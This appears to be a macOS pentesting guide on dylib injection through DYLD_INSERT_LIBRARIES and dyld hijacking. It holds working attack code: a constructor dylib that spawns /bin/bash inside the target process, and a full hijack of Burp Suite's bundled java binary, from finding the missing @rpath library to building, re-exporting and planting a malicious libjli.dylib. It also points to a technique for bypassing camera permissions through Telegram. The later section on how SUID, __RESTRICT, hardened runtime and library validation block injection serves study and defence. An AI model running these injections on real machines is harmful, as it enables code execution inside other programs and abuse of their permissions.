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macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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DYLD_INSERT_LIBRARIES Basic example

Library to inject to execute a shell:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
    syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
    printf("[+] dylib injected in %s\n", argv[0]);
    execv("/bin/bash", 0);
}

Binary to attack:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
    printf("Hello, World!\n");
    return 0;
}

Injection:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Example

The targeted vulenrable binary is /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java.

{% tabs %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/. (offset 12)
--
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/../lib (offset 12)

{% endcode %} {% endtab %}

{% tab title="@rpath" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
         name @rpath/libjli.dylib (offset 24)
   time stamp 2 Thu Jan  1 01:00:02 1970
      current version 1.0.0
compatibility version 1.0.0

{% endcode %} {% endtab %}

{% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %} {% endtabs %}

With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:

  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib
  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib

However, the first one doesn't exist:

pwd
/Applications/Burp Suite Professional.app

find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib

So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:

{% code title="libjli.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
    NSLog(@"[+] dylib hijacked in %s",argv[0]);
}

{% endcode %}

Compile it:

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
# Note the versions and the reexport

{% endcode %}

The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:

{% code overflow="wrap" %}

#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
         cmd LC_REEXPORT_DYLIB
         cmdsize 48
         name @rpath/libjli.dylib (offset 24)

#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib

# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
          cmd LC_REEXPORT_DYLIB
      cmdsize 128
         name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

Finally just copy it to the hijacked location:

{% code overflow="wrap" %}

cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"

{% endcode %}

And execute the binary and check the library was loaded:

./java
2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
Usage: java [options] <mainclass> [args...]
           (to execute a class)

{% hint style="info" %} A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ {% endhint %}

Bigger Scale

If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash execution).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

Check restrictions

SUID & SGID

# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello

# Remove suid
sudo chmod -s hello

Section __RESTRICT with segment __restrict

gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict

Hardened runtime

Create a new certificate in the Keychain and use it to sign the binary:

{% code overflow="wrap" %}

# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected

# Apply library validation
codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)

# Sign it
## If the signature is from an unverified developer the injection will still work
## If it's from a verified developer, it won't
codesign -f -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed

# Apply CS_RESTRICT protection
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work

{% endcode %}

{% hint style="danger" %} Note that even if there are binaries signed with flags 0x0(none), they can get the CS_RESTRICT flag dynamically when executed and therefore this technique won't work in them.

You can check if a proc has this flag with (get csops here): 

csops -status <pid>

and then check if the flag 0x800 is enabled. {% endhint %}

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